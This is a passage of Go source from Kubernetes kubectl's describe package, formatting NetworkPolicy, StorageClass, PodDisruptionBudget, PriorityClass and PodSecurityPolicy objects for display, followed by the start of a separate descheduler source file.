networkPolicy.CreationTimestamp) printLabelsMultiline(w, ""Labels"", networkPolicy.Labels) printAnnotationsMultiline(w, ""Annotations"", networkPolicy.Annotations) describeNetworkPolicySpec(networkPolicy.Spec, w) return nil }) } func describeNetworkPolicySpec(nps networkingv1.NetworkPolicySpec, w PrefixWriter) { w.Write(LEVEL_0, ""Spec:\n"") w.Write(LEVEL_1, ""PodSelector: "") if len(nps.PodSelector.MatchLabels) == 0 && len(nps.PodSelector.MatchExpressions) == 0 { w.Write(LEVEL_2, "" (Allowing the specific traffic to all pods in this namespace)\n"") } else { w.Write(LEVEL_2, ""%s\n"", metav1.FormatLabelSelector(&nps.PodSelector)) } w.Write(LEVEL_1, ""Allowing ingress traffic:\n"") printNetworkPolicySpecIngressFrom(nps.Ingress, "" "", w) w.Write(LEVEL_1, ""Allowing egress traffic:\n"") printNetworkPolicySpecEgressTo(nps.Egress, "" "", w) w.Write(LEVEL_1, ""Policy Types: %v\n"", policyTypesToString(nps.PolicyTypes)) } func printNetworkPolicySpecIngressFrom(npirs []networkingv1.NetworkPolicyIngressRule, initialIndent string, w PrefixWriter) { if len(npirs) == 0 { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, "" (Selected pods are isolated for ingress connectivity)"") return } for i, npir := range npirs { if len(npir.Ports) == 0 { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, ""To Port: (traffic allowed to all ports)"") } else { for _, port := range npir.Ports { var proto corev1.Protocol if port.Protocol != nil { proto = *port.Protocol } else { proto = corev1.ProtocolTCP } w.Write(LEVEL_0, ""%s%s: %s/%s\n"", initialIndent, ""To Port"", port.Port, proto) } } if len(npir.From) == 0 { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, ""From: (traffic not restricted by source)"") } else { for _, from := range npir.From { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, ""From:"") if from.PodSelector != nil && from.NamespaceSelector != nil { w.Write(LEVEL_1, ""%s%s: %s\n"", initialIndent, ""NamespaceSelector"", metav1.FormatLabelSelector(from.NamespaceSelector)) w.Write(LEVEL_1, ""%s%s: %s\n"", initialIndent, ""PodSelector"", metav1.FormatLabelSelector(from.PodSelector)) } else if from.PodSelector != nil { w.Write(LEVEL_1, ""%s%s: %s\n"", initialIndent, ""PodSelector"", metav1.FormatLabelSelector(from.PodSelector)) } else if from.NamespaceSelector != nil { w.Write(LEVEL_1, ""%s%s: %s\n"", initialIndent, ""NamespaceSelector"", metav1.FormatLabelSelector(from.NamespaceSelector)) } else if from.IPBlock != nil { w.Write(LEVEL_1, ""%sIPBlock:\n"", initialIndent) w.Write(LEVEL_2, ""%sCIDR: %s\n"", initialIndent, from.IPBlock.CIDR) w.Write(LEVEL_2, ""%sExcept: %v\n"", initialIndent, strings.Join(from.IPBlock.Except, "", "")) } } } if i != len(npirs)-1 { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, ""----------"") } } } func printNetworkPolicySpecEgressTo(npers []networkingv1.NetworkPolicyEgressRule, initialIndent string, w PrefixWriter) { if len(npers) == 0 { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, "" (Selected pods are isolated for egress connectivity)"") return } for i, nper := range npers { if len(nper.Ports) == 0 { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, ""To Port: (traffic allowed to all ports)"") } else { for _, port := range nper.Ports { var proto corev1.Protocol if port.Protocol != nil { proto = *port.Protocol } else { proto = corev1.ProtocolTCP } w.Write(LEVEL_0, ""%s%s: %s/%s\n"", initialIndent, ""To Port"", port.Port, proto) } } if len(nper.To) == 0 { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, ""To: (traffic not restricted by source)"") } else { for _, to := range nper.To { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, ""To:"") if to.PodSelector != nil && to.NamespaceSelector != nil { w.Write(LEVEL_1, ""%s%s: %s\n"", initialIndent, ""NamespaceSelector"", metav1.FormatLabelSelector(to.NamespaceSelector)) w.Write(LEVEL_1, ""%s%s: %s\n"", initialIndent, ""PodSelector"", metav1.FormatLabelSelector(to.PodSelector)) } else if to.PodSelector != nil { w.Write(LEVEL_1, ""%s%s: %s\n"", initialIndent, ""PodSelector"", metav1.FormatLabelSelector(to.PodSelector)) } else if to.NamespaceSelector != nil { w.Write(LEVEL_1, ""%s%s: %s\n"", initialIndent, ""NamespaceSelector"", metav1.FormatLabelSelector(to.NamespaceSelector)) } else if to.IPBlock != nil { w.Write(LEVEL_1, ""%sIPBlock:\n"", initialIndent) w.Write(LEVEL_2, ""%sCIDR: %s\n"", initialIndent, to.IPBlock.CIDR) w.Write(LEVEL_2, ""%sExcept: %v\n"", initialIndent, strings.Join(to.IPBlock.Except, "", "")) } } } if i != len(npers)-1 { w.Write(LEVEL_0, ""%s%s\n"", initialIndent, ""----------"") } } } type StorageClassDescriber struct { clientset.Interface } func (s *StorageClassDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { sc, err := s.StorageV1().StorageClasses().Get(name, metav1.GetOptions{}) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = s.CoreV1().Events(namespace).Search(scheme.Scheme, sc) } return describeStorageClass(sc, events) } func describeStorageClass(sc *storagev1.StorageClass, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", sc.Name) w.Write(LEVEL_0, ""IsDefaultClass:\t%s\n"", storageutil.IsDefaultAnnotationText(sc.ObjectMeta)) w.Write(LEVEL_0, ""Annotations:\t%s\n"", labels.FormatLabels(sc.Annotations)) w.Write(LEVEL_0, ""Provisioner:\t%s\n"", sc.Provisioner) w.Write(LEVEL_0, ""Parameters:\t%s\n"", labels.FormatLabels(sc.Parameters)) w.Write(LEVEL_0, ""AllowVolumeExpansion:\t%s\n"", printBoolPtr(sc.AllowVolumeExpansion)) if len(sc.MountOptions) == 0 { w.Write(LEVEL_0, ""MountOptions:\t\n"") } else { w.Write(LEVEL_0, ""MountOptions:\n"") for _, option := range sc.MountOptions { w.Write(LEVEL_1, ""%s\n"", option) } } if sc.ReclaimPolicy != nil { w.Write(LEVEL_0, ""ReclaimPolicy:\t%s\n"", *sc.ReclaimPolicy) } if sc.VolumeBindingMode != nil { w.Write(LEVEL_0, ""VolumeBindingMode:\t%s\n"", *sc.VolumeBindingMode) } if sc.AllowedTopologies != nil { printAllowedTopologies(w, sc.AllowedTopologies) } if events != nil { DescribeEvents(events, w) } return nil }) } func printAllowedTopologies(w PrefixWriter, topologies []corev1.TopologySelectorTerm) { w.Write(LEVEL_0, ""AllowedTopologies:\t"") if len(topologies) == 0 { w.WriteLine("""") return } w.WriteLine("""") for i, term := range topologies { printTopologySelectorTermsMultilineWithIndent(w, LEVEL_1, fmt.Sprintf(""Term %d"", i), ""\t"", term.MatchLabelExpressions) } } func printTopologySelectorTermsMultilineWithIndent(w PrefixWriter, indentLevel int, title, innerIndent string, reqs []corev1.TopologySelectorLabelRequirement) { w.Write(indentLevel, ""%s:%s"", title, innerIndent) if len(reqs) == 0 { w.WriteLine("""") return } for i, req := range reqs { if i != 0 { w.Write(indentLevel, ""%s"", innerIndent) } exprStr := fmt.Sprintf(""%s %s"", req.Key, ""in"") if len(req.Values) > 0 { exprStr = fmt.Sprintf(""%s [%s]"", exprStr, strings.Join(req.Values, "", "")) } w.Write(LEVEL_0, ""%s\n"", exprStr) } } type PodDisruptionBudgetDescriber struct { clientset.Interface } func (p *PodDisruptionBudgetDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { pdb, err := p.PolicyV1beta1().PodDisruptionBudgets(namespace).Get(name, metav1.GetOptions{}) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = p.CoreV1().Events(namespace).Search(scheme.Scheme, pdb) } return describePodDisruptionBudget(pdb, events) } func describePodDisruptionBudget(pdb *policyv1beta1.PodDisruptionBudget, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", pdb.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", pdb.Namespace) if pdb.Spec.MinAvailable != nil { w.Write(LEVEL_0, ""Min available:\t%s\n"", pdb.Spec.MinAvailable.String()) } else if pdb.Spec.MaxUnavailable != nil { w.Write(LEVEL_0, ""Max unavailable:\t%s\n"", pdb.Spec.MaxUnavailable.String()) } if pdb.Spec.Selector != nil { w.Write(LEVEL_0, ""Selector:\t%s\n"", metav1.FormatLabelSelector(pdb.Spec.Selector)) } else { w.Write(LEVEL_0, ""Selector:\t\n"") } w.Write(LEVEL_0, ""Status:\n"") w.Write(LEVEL_2, ""Allowed disruptions:\t%d\n"", pdb.Status.PodDisruptionsAllowed) w.Write(LEVEL_2, ""Current:\t%d\n"", pdb.Status.CurrentHealthy) w.Write(LEVEL_2, ""Desired:\t%d\n"", pdb.Status.DesiredHealthy) w.Write(LEVEL_2, ""Total:\t%d\n"", pdb.Status.ExpectedPods) if events != nil { DescribeEvents(events, w) } return nil }) } // PriorityClassDescriber generates information about a PriorityClass. type PriorityClassDescriber struct { clientset.Interface } func (s *PriorityClassDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { pc, err := s.SchedulingV1().PriorityClasses().Get(name, metav1.GetOptions{}) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = s.CoreV1().Events(namespace).Search(scheme.Scheme, pc) } return describePriorityClass(pc, events) } func describePriorityClass(pc *schedulingv1.PriorityClass, events *corev1.EventList) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", pc.Name) w.Write(LEVEL_0, ""Value:\t%v\n"", pc.Value) w.Write(LEVEL_0, ""GlobalDefault:\t%v\n"", pc.GlobalDefault) w.Write(LEVEL_0, ""Description:\t%s\n"", pc.Description) w.Write(LEVEL_0, ""Annotations:\t%s\n"", labels.FormatLabels(pc.Annotations)) if events != nil { DescribeEvents(events, w) } return nil }) } // PodSecurityPolicyDescriber generates information about a PodSecuritypolicyv1beta1. type PodSecurityPolicyDescriber struct { clientset.Interface } func (d *PodSecurityPolicyDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { psp, err := d.PolicyV1beta1().PodSecurityPolicies().Get(name, metav1.GetOptions{}) if err != nil { return """", err } return describePodSecurityPolicy(psp) } func describePodSecurityPolicy(psp *policyv1beta1.PodSecurityPolicy) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", psp.Name) w.Write(LEVEL_0, ""\nSettings:\n"") w.Write(LEVEL_1, ""Allow Privileged:\t%t\n"", psp.Spec.Privileged) if psp.Spec.AllowPrivilegeEscalation != nil { w.Write(LEVEL_1, ""Allow Privilege Escalation:\t%t\n"", *psp.Spec.AllowPrivilegeEscalation) } else { w.Write(LEVEL_1, ""Allow Privilege Escalation:\t\n"") } w.Write(LEVEL_1, ""Default Add Capabilities:\t%v\n"", capsToString(psp.Spec.DefaultAddCapabilities)) w.Write(LEVEL_1, ""Required Drop Capabilities:\t%s\n"", capsToString(psp.Spec.RequiredDropCapabilities)) w.Write(LEVEL_1, ""Allowed Capabilities:\t%s\n"", capsToString(psp.Spec.AllowedCapabilities)) w.Write(LEVEL_1, ""Allowed Volume Types:\t%s\n"", fsTypeToString(psp.Spec.Volumes)) if len(psp.Spec.AllowedFlexVolumes) > 0 { w.Write(LEVEL_1, ""Allowed FlexVolume Types:\t%s\n"", flexVolumesToString(psp.Spec.AllowedFlexVolumes)) } if len(psp.Spec.AllowedCSIDrivers) > 0 { w.Write(LEVEL_1, ""Allowed CSI Drivers:\t%s\n"", csiDriversToString(psp.Spec.AllowedCSIDrivers)) } if len(psp.Spec.AllowedUnsafeSysctls) > 0 { w.Write(LEVEL_1, ""Allowed Unsafe Sysctls:\t%s\n"", sysctlsToString(psp.Spec.AllowedUnsafeSysctls)) } if len(psp.Spec.ForbiddenSysctls) > 0 { w.Write(LEVEL_1, ""Forbidden Sysctls:\t%s\n"", sysctlsToString(psp.Spec.ForbiddenSysctls)) } w.Write(LEVEL_1, ""Allow Host Network:\t%t\n"", psp.Spec.HostNetwork) w.Write(LEVEL_1, ""Allow Host Ports:\t%s\n"", hostPortRangeToString(psp.Spec.HostPorts)) w.Write(LEVEL_1, ""Allow Host PID:\t%t\n"", psp.Spec.HostPID) w.Write(LEVEL_1, ""Allow Host IPC:\t%t\n"", psp.Spec.HostIPC) w.Write(LEVEL_1, ""Read Only Root Filesystem:\t%v\n"", psp.Spec.ReadOnlyRootFilesystem) w.Write(LEVEL_1, ""SELinux Context Strategy: %s\t\n"", string(psp.Spec.SELinux.Rule)) var user, role, seLinuxType, level string if psp.Spec.SELinux.SELinuxOptions != nil { user = psp.Spec.SELinux.SELinuxOptions.User role = psp.Spec.SELinux.SELinuxOptions.Role seLinuxType = psp.Spec.SELinux.SELinuxOptions.Type level = psp.Spec.SELinux.SELinuxOptions.Level } w.Write(LEVEL_2, ""User:\t%s\n"", stringOrNone(user)) w.Write(LEVEL_2, ""Role:\t%s\n"", stringOrNone(role)) w.Write(LEVEL_2, ""Type:\t%s\n"", stringOrNone(seLinuxType)) w.Write(LEVEL_2, ""Level:\t%s\n"", stringOrNone(level)) w.Write(LEVEL_1, ""Run As User Strategy: %s\t\n"", string(psp.Spec.RunAsUser.Rule)) w.Write(LEVEL_2, ""Ranges:\t%s\n"", idRangeToString(psp.Spec.RunAsUser.Ranges)) w.Write(LEVEL_1, ""FSGroup Strategy: %s\t\n"", string(psp.Spec.FSGroup.Rule)) w.Write(LEVEL_2, ""Ranges:\t%s\n"", idRangeToString(psp.Spec.FSGroup.Ranges)) w.Write(LEVEL_1, ""Supplemental Groups Strategy: %s\t\n"", string(psp.Spec.SupplementalGroups.Rule)) w.Write(LEVEL_2, ""Ranges:\t%s\n"", idRangeToString(psp.Spec.SupplementalGroups.Ranges)) return nil }) } func stringOrNone(s string) string { return stringOrDefaultValue(s, """") } func stringOrDefaultValue(s, defaultValue string) string { if len(s) > 0 { return s } return defaultValue } func fsTypeToString(volumes []policyv1beta1.FSType) string { strVolumes := []string{} for _, v := range volumes { strVolumes = append(strVolumes, string(v)) } return stringOrNone(strings.Join(strVolumes, "","")) } func flexVolumesToString(flexVolumes []policyv1beta1.AllowedFlexVolume) string { volumes := []string{} for _, flexVolume := range flexVolumes { volumes = append(volumes, ""driver=""+flexVolume.Driver) } return stringOrDefaultValue(strings.Join(volumes, "",""), """") } func csiDriversToString(csiDrivers []policyv1beta1.AllowedCSIDriver) string { drivers := []string{} for _, csiDriver := range csiDrivers { drivers = append(drivers, ""driver=""+csiDriver.Name) } return stringOrDefaultValue(strings.Join(drivers, "",""), """") } func sysctlsToString(sysctls []string) string { return stringOrNone(strings.Join(sysctls, "","")) } func hostPortRangeToString(ranges []policyv1beta1.HostPortRange) string { formattedString := """" if ranges != nil { strRanges := []string{} for _, r := range ranges { strRanges = append(strRanges, fmt.Sprintf(""%d-%d"", r.Min, r.Max)) } formattedString = strings.Join(strRanges, "","") } return stringOrNone(formattedString) } func idRangeToString(ranges []policyv1beta1.IDRange) string { formattedString := """" if ranges != nil { strRanges := []string{} for _, r := range ranges { strRanges = append(strRanges, fmt.Sprintf(""%d-%d"", r.Min, r.Max)) } formattedString = strings.Join(strRanges, "","") } return stringOrNone(formattedString) } func capsToString(caps []corev1.Capability) string { formattedString := """" if caps != nil { strCaps := []string{} for _, c := range caps { strCaps = append(strCaps, string(c)) } formattedString = strings.Join(strCaps, "","") } return stringOrNone(formattedString) } func policyTypesToString(pts []networkingv1.PolicyType) string { formattedString := """" if pts != nil { strPts := []string{} for _, p := range pts { strPts = append(strPts, string(p)) } formattedString = strings.Join(strPts, "", "") } return stringOrNone(formattedString) } // newErrNoDescriber creates a new ErrNoDescriber with the names of the provided types. func newErrNoDescriber(types ...reflect.Type) error { names := make([]string, 0, len(types)) for _, t := range types { names = append(names, t.String()) } return describe.ErrNoDescriber{Types: names} } // Describers implements ObjectDescriber against functions registered via Add. Those functions can // be strongly typed. Types are exactly matched (no conversion or assignable checks). type Describers struct { searchFns map[reflect.Type][]typeFunc } // DescribeObject implements ObjectDescriber and will attempt to print the provided object to a string, // if at least one describer function has been registered with the exact types passed, or if any // describer can print the exact object in its first argument (the remainder will be provided empty // values). If no function registered with Add can satisfy the passed objects, an ErrNoDescriber will // be returned // TODO: reorder and partial match extra. func (d *Describers) DescribeObject(exact interface{}, extra ...interface{}) (string, error) { exactType := reflect.TypeOf(exact) fns, ok := d.searchFns[exactType] if !ok { return """", newErrNoDescriber(exactType) } if len(extra) == 0 { for _, typeFn := range fns { if len(typeFn.Extra) == 0 { return typeFn.Describe(exact, extra...) } } typeFn := fns[0] for _, t := range typeFn.Extra { v := reflect.New(t).Elem() extra = append(extra, v.Interface()) } return fns[0].Describe(exact, extra...) } types := make([]reflect.Type, 0, len(extra)) for _, obj := range extra { types = append(types, reflect.TypeOf(obj)) } for _, typeFn := range fns { if typeFn.Matches(types) { return typeFn.Describe(exact, extra...) } } return """", newErrNoDescriber(append([]reflect.Type{exactType}, types...)...) } // Add adds one or more describer functions to the describe.Describer. The passed function must // match the signature: // // func(...) (string, error) // // Any number of arguments may be provided. func (d *Describers) Add(fns ...interface{}) error { for _, fn := range fns { fv := reflect.ValueOf(fn) ft := fv.Type() if ft.Kind() != reflect.Func { return fmt.Errorf(""expected func, got: %v"", ft) } numIn := ft.NumIn() if numIn == 0 { return fmt.Errorf(""expected at least one 'in' params, got: %v"", ft) } if ft.NumOut() != 2 { return fmt.Errorf(""expected two 'out' params - (string, error), got: %v"", ft) } types := make([]reflect.Type, 0, numIn) for i := 0; i < numIn; i++ { types = append(types, ft.In(i)) } if ft.Out(0) != reflect.TypeOf(string("""")) { return fmt.Errorf(""expected string return, got: %v"", ft) } var forErrorType error // This convolution is necessary, otherwise TypeOf picks up on the fact // that forErrorType is nil. errorType := reflect.TypeOf(&forErrorType).Elem() if ft.Out(1) != errorType { return fmt.Errorf(""expected error return, got: %v"", ft) } exact := types[0] extra := types[1:] if d.searchFns == nil { d.searchFns = make(map[reflect.Type][]typeFunc) } fns := d.searchFns[exact] fn := typeFunc{Extra: extra, Fn: fv} fns = append(fns, fn) d.searchFns[exact] = fns } return nil } // typeFunc holds information about a describer function and the types it accepts type typeFunc struct { Extra []reflect.Type Fn reflect.Value } // Matches returns true when the passed types exactly match the Extra list. func (fn typeFunc) Matches(types []reflect.Type) bool { if len(fn.Extra) != len(types) { return false } // reorder the items in array types and fn.Extra // convert the type into string and sort them, check if they are matched varMap := make(map[reflect.Type]bool) for i := range fn.Extra { varMap[fn.Extra[i]] = true } for i := range types { if _, found := varMap[types[i]]; !found { return false } } return true } // Describe invokes the nested function with the exact number of arguments. func (fn typeFunc) Describe(exact interface{}, extra ...interface{}) (string, error) { values := []reflect.Value{reflect.ValueOf(exact)} for _, obj := range extra { values = append(values, reflect.ValueOf(obj)) } out := fn.Fn.Call(values) s := out[0].Interface().(string) var err error if !out[1].IsNil() { err = out[1].Interface().(error) } return s, err } // printLabelsMultiline prints multiple labels with a proper alignment. func printLabelsMultiline(w PrefixWriter, title string, labels map[string]string) { printLabelsMultilineWithIndent(w, """", title, ""\t"", labels, sets.NewString()) } // printLabelsMultiline prints multiple labels with a user-defined alignment. func printLabelsMultilineWithIndent(w PrefixWriter, initialIndent, title, innerIndent string, labels map[string]string, skip sets.String) { w.Write(LEVEL_0, ""%s%s:%s"", initialIndent, title, innerIndent) if labels == nil || len(labels) == 0 { w.WriteLine("""") return } // to print labels in the sorted order keys := make([]string, 0, len(labels)) for key := range labels { if skip.Has(key) { continue } keys = append(keys, key) } if len(keys) == 0 { w.WriteLine("""") return } sort.Strings(keys) for i, key := range keys { if i != 0 { w.Write(LEVEL_0, ""%s"", initialIndent) w.Write(LEVEL_0, ""%s"", innerIndent) } w.Write(LEVEL_0, ""%s=%s\n"", key, labels[key]) i++ } } // printTaintsMultiline prints multiple taints with a proper alignment. func printNodeTaintsMultiline(w PrefixWriter, title string, taints []corev1.Taint) { printTaintsMultilineWithIndent(w, """", title, ""\t"", taints) } // printTaintsMultilineWithIndent prints multiple taints with a user-defined alignment. func printTaintsMultilineWithIndent(w PrefixWriter, initialIndent, title, innerIndent string, taints []corev1.Taint) { w.Write(LEVEL_0, ""%s%s:%s"", initialIndent, title, innerIndent) if taints == nil || len(taints) == 0 { w.WriteLine("""") return } // to print taints in the sorted order sort.Slice(taints, func(i, j int) bool { cmpKey := func(taint corev1.Taint) string { return string(taint.Effect) + "","" + taint.Key } return cmpKey(taints[i]) < cmpKey(taints[j]) }) for i, taint := range taints { if i != 0 { w.Write(LEVEL_0, ""%s"", initialIndent) w.Write(LEVEL_0, ""%s"", innerIndent) } w.Write(LEVEL_0, ""%s\n"", taint.ToString()) } } // printPodsMultiline prints multiple pods with a proper alignment. func printPodsMultiline(w PrefixWriter, title string, pods []corev1.Pod) { printPodsMultilineWithIndent(w, """", title, ""\t"", pods) } // printPodsMultilineWithIndent prints multiple pods with a user-defined alignment. func printPodsMultilineWithIndent(w PrefixWriter, initialIndent, title, innerIndent string, pods []corev1.Pod) { w.Write(LEVEL_0, ""%s%s:%s"", initialIndent, title, innerIndent) if pods == nil || len(pods) == 0 { w.WriteLine("""") return } // to print pods in the sorted order sort.Slice(pods, func(i, j int) bool { cmpKey := func(pod corev1.Pod) string { return pod.Name } return cmpKey(pods[i]) < cmpKey(pods[j]) }) for i, pod := range pods { if i != 0 { w.Write(LEVEL_0, ""%s"", initialIndent) w.Write(LEVEL_0, ""%s"", innerIndent) } w.Write(LEVEL_0, ""%s\n"", pod.Name) } } // printPodTolerationsMultiline prints multiple tolerations with a proper alignment. func printPodTolerationsMultiline(w PrefixWriter, title string, tolerations []corev1.Toleration) { printTolerationsMultilineWithIndent(w, """", title, ""\t"", tolerations) } // printTolerationsMultilineWithIndent prints multiple tolerations with a user-defined alignment. func printTolerationsMultilineWithIndent(w PrefixWriter, initialIndent, title, innerIndent string, tolerations []corev1.Toleration) { w.Write(LEVEL_0, ""%s%s:%s"", initialIndent, title, innerIndent) if tolerations == nil || len(tolerations) == 0 { w.WriteLine("""") return } // to print tolerations in the sorted order sort.Slice(tolerations, func(i, j int) bool { return tolerations[i].Key < tolerations[j].Key }) for i, toleration := range tolerations { if i != 0 { w.Write(LEVEL_0, ""%s"", initialIndent) w.Write(LEVEL_0, ""%s"", innerIndent) } w.Write(LEVEL_0, ""%s"", toleration.Key) if len(toleration.Value) != 0 { w.Write(LEVEL_0, ""=%s"", toleration.Value) } if len(toleration.Effect) != 0 { w.Write(LEVEL_0, "":%s"", toleration.Effect) } if toleration.TolerationSeconds != nil { w.Write(LEVEL_0, "" for %ds"", *toleration.TolerationSeconds) } w.Write(LEVEL_0, ""\n"") } } type flusher interface { Flush() } func tabbedString(f func(io.Writer) error) (string, error) { out := new(tabwriter.Writer) buf := &bytes.Buffer{} out.Init(buf, 0, 8, 2, ' ', 0) err := f(out) if err != nil { return """", err } out.Flush() str := string(buf.String()) return str, nil } type SortableResourceNames []corev1.ResourceName func (list SortableResourceNames) Len() int { return len(list) } func (list SortableResourceNames) Swap(i, j int) { list[i], list[j] = list[j], list[i] } func (list SortableResourceNames) Less(i, j int) bool { return list[i] < list[j] } // SortedResourceNames returns the sorted resource names of a resource list. func SortedResourceNames(list corev1.ResourceList) []corev1.ResourceName { resources := make([]corev1.ResourceName, 0, len(list)) for res := range list { resources = append(resources, res) } sort.Sort(SortableResourceNames(resources)) return resources } type SortableResourceQuotas []corev1.ResourceQuota func (list SortableResourceQuotas) Len() int { return len(list) } func (list SortableResourceQuotas) Swap(i, j int) { list[i], list[j] = list[j], list[i] } func (list SortableResourceQuotas) Less(i, j int) bool { return list[i].Name < list[j].Name } type SortableVolumeMounts []corev1.VolumeMount func (list SortableVolumeMounts) Len() int { return len(list) } func (list SortableVolumeMounts) Swap(i, j int) { list[i], list[j] = list[j], list[i] } func (list SortableVolumeMounts) Less(i, j int) bool { return list[i].MountPath < list[j].MountPath } type SortableVolumeDevices []corev1.VolumeDevice func (list SortableVolumeDevices) Len() int { return len(list) } func (list SortableVolumeDevices) Swap(i, j int) { list[i], list[j] = list[j], list[i] } func (list SortableVolumeDevices) Less(i, j int) bool { return list[i].DevicePath < list[j].DevicePath } var maxAnnotationLen = 140 // printAnnotationsMultilineWithFilter prints filtered multiple annotations with a proper alignment. func printAnnotationsMultilineWithFilter(w PrefixWriter, title string, annotations map[string]string, skip sets.String) { printAnnotationsMultilineWithIndent(w, """", title, ""\t"", annotations, skip) } // printAnnotationsMultiline prints multiple annotations with a proper alignment. func printAnnotationsMultiline(w PrefixWriter, title string, annotations map[string]string) { printAnnotationsMultilineWithIndent(w, """", title, ""\t"", annotations, sets.NewString()) } // printAnnotationsMultilineWithIndent prints multiple annotations with a user-defined alignment. // If annotation string is too long, we omit chars more than 200 length. func printAnnotationsMultilineWithIndent(w PrefixWriter, initialIndent, title, innerIndent string, annotations map[string]string, skip sets.String) { w.Write(LEVEL_0, ""%s%s:%s"", initialIndent, title, innerIndent) if len(annotations) == 0 { w.WriteLine("""") return } // to print labels in the sorted order keys := make([]string, 0, len(annotations)) for key := range annotations { if skip.Has(key) { continue } keys = append(keys, key) } if len(annotations) == 0 { w.WriteLine("""") return } sort.Strings(keys) indent := initialIndent + innerIndent for i, key := range keys { if i != 0 { w.Write(LEVEL_0, indent) } value := strings.TrimSuffix(annotations[key], ""\n"") if (len(value)+len(key)+2) > maxAnnotationLen || strings.Contains(value, ""\n"") { w.Write(LEVEL_0, ""%s:\n"", key) for _, s := range strings.Split(value, ""\n"") { w.Write(LEVEL_0, ""%s %s\n"", indent, shorten(s, maxAnnotationLen-2)) } } else { w.Write(LEVEL_0, ""%s: %s\n"", key, value) } i++ } } func shorten(s string, maxLength int) string { if len(s) > maxLength { return s[:maxLength] + ""..."" } return s } // translateTimestampSince returns the elapsed time since timestamp in // human-readable approximation. func translateTimestampSince(timestamp metav1.Time) string { if timestamp.IsZero() { return """" } return duration.HumanDuration(time.Since(timestamp.Time)) } // formatEventSource formats EventSource as a comma separated string excluding Host when empty func formatEventSource(es corev1.EventSource) string { EventSourceString := []string{es.Component} if len(es.Host) > 0 { EventSourceString = append(EventSourceString, es.Host) } return strings.Join(EventSourceString, "", "") } // Pass ports=nil for all ports. func formatEndpoints(endpoints *corev1.Endpoints, ports sets.String) string { if len(endpoints.Subsets) == 0 { return """" } list := []string{} max := 3 more := false count := 0 for i := range endpoints.Subsets { ss := &endpoints.Subsets[i] if len(ss.Ports) == 0 { // It's possible to have headless services with no ports. for i := range ss.Addresses { if len(list) == max { more = true } if !more { list = append(list, ss.Addresses[i].IP) } count++ } } else { // ""Normal"" services with ports defined. for i := range ss.Ports { port := &ss.Ports[i] if ports == nil || ports.Has(port.Name) { for i := range ss.Addresses { if len(list) == max { more = true } addr := &ss.Addresses[i] if !more { hostPort := net.JoinHostPort(addr.IP, strconv.Itoa(int(port.Port))) list = append(list, hostPort) } count++ } } } } } ret := strings.Join(list, "","") if more { return fmt.Sprintf(""%s + %d more..."", ret, count-max) } return ret } func extractCSRStatus(csr *certificatesv1beta1.CertificateSigningRequest) (string, error) { var approved, denied bool for _, c := range csr.Status.Conditions { switch c.Type { case certificatesv1beta1.CertificateApproved: approved = true case certificatesv1beta1.CertificateDenied: denied = true default: return """", fmt.Errorf(""unknown csr condition %q"", c) } } var status string // must be in order of presidence if denied { status += ""Denied"" } else if approved { status += ""Approved"" } else { status += ""Pending"" } if len(csr.Status.Certificate) > 0 { status += "",Issued"" } return status, nil } // backendStringer behaves just like a string interface and converts the given backend to a string. func backendStringer(backend *networkingv1beta1.IngressBackend) string { if backend == nil { return """" } return fmt.Sprintf(""%v:%v"", backend.ServiceName, backend.ServicePort.String()) } // findNodeRoles returns the roles of a given node. // The roles are determined by looking for: // * a node-role.kubernetes.io/="""" label // * a kubernetes.io/role="""" label func findNodeRoles(node *corev1.Node) []string { roles := sets.NewString() for k, v := range node.Labels { switch { case strings.HasPrefix(k, describe.LabelNodeRolePrefix): if role := strings.TrimPrefix(k, describe.LabelNodeRolePrefix); len(role) > 0 { roles.Insert(role) } case k == describe.NodeLabelRole && v != """": roles.Insert(v) } } return roles.List() } // loadBalancerStatusStringer behaves mostly like a string interface and converts the given status to a string. // `wide` indicates whether the returned value is meant for --o=wide output. If not, it's clipped to 16 bytes. func loadBalancerStatusStringer(s corev1.LoadBalancerStatus, wide bool) string { ingress := s.Ingress result := sets.NewString() for i := range ingress { if ingress[i].IP != """" { result.Insert(ingress[i].IP) } else if ingress[i].Hostname != """" { result.Insert(ingress[i].Hostname) } } r := strings.Join(result.List(), "","") if !wide && len(r) > describe.LoadBalancerWidth { r = r[0:(describe.LoadBalancerWidth-3)] + ""..."" } return r } ",cpuReqs 967,"/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package app implements a Server object for running the descheduler. package app import ( ""context"" ""io"" ""os"" ""os/signal"" ""syscall"" ""k8s.io/apiserver/pkg/server/healthz"" ""sigs.k8s.io/descheduler/cmd/descheduler/app/options"" ""sigs.k8s.io/descheduler/pkg/descheduler"" ""sigs.k8s.io/descheduler/pkg/tracing"" ""github.com/spf13/cobra"" 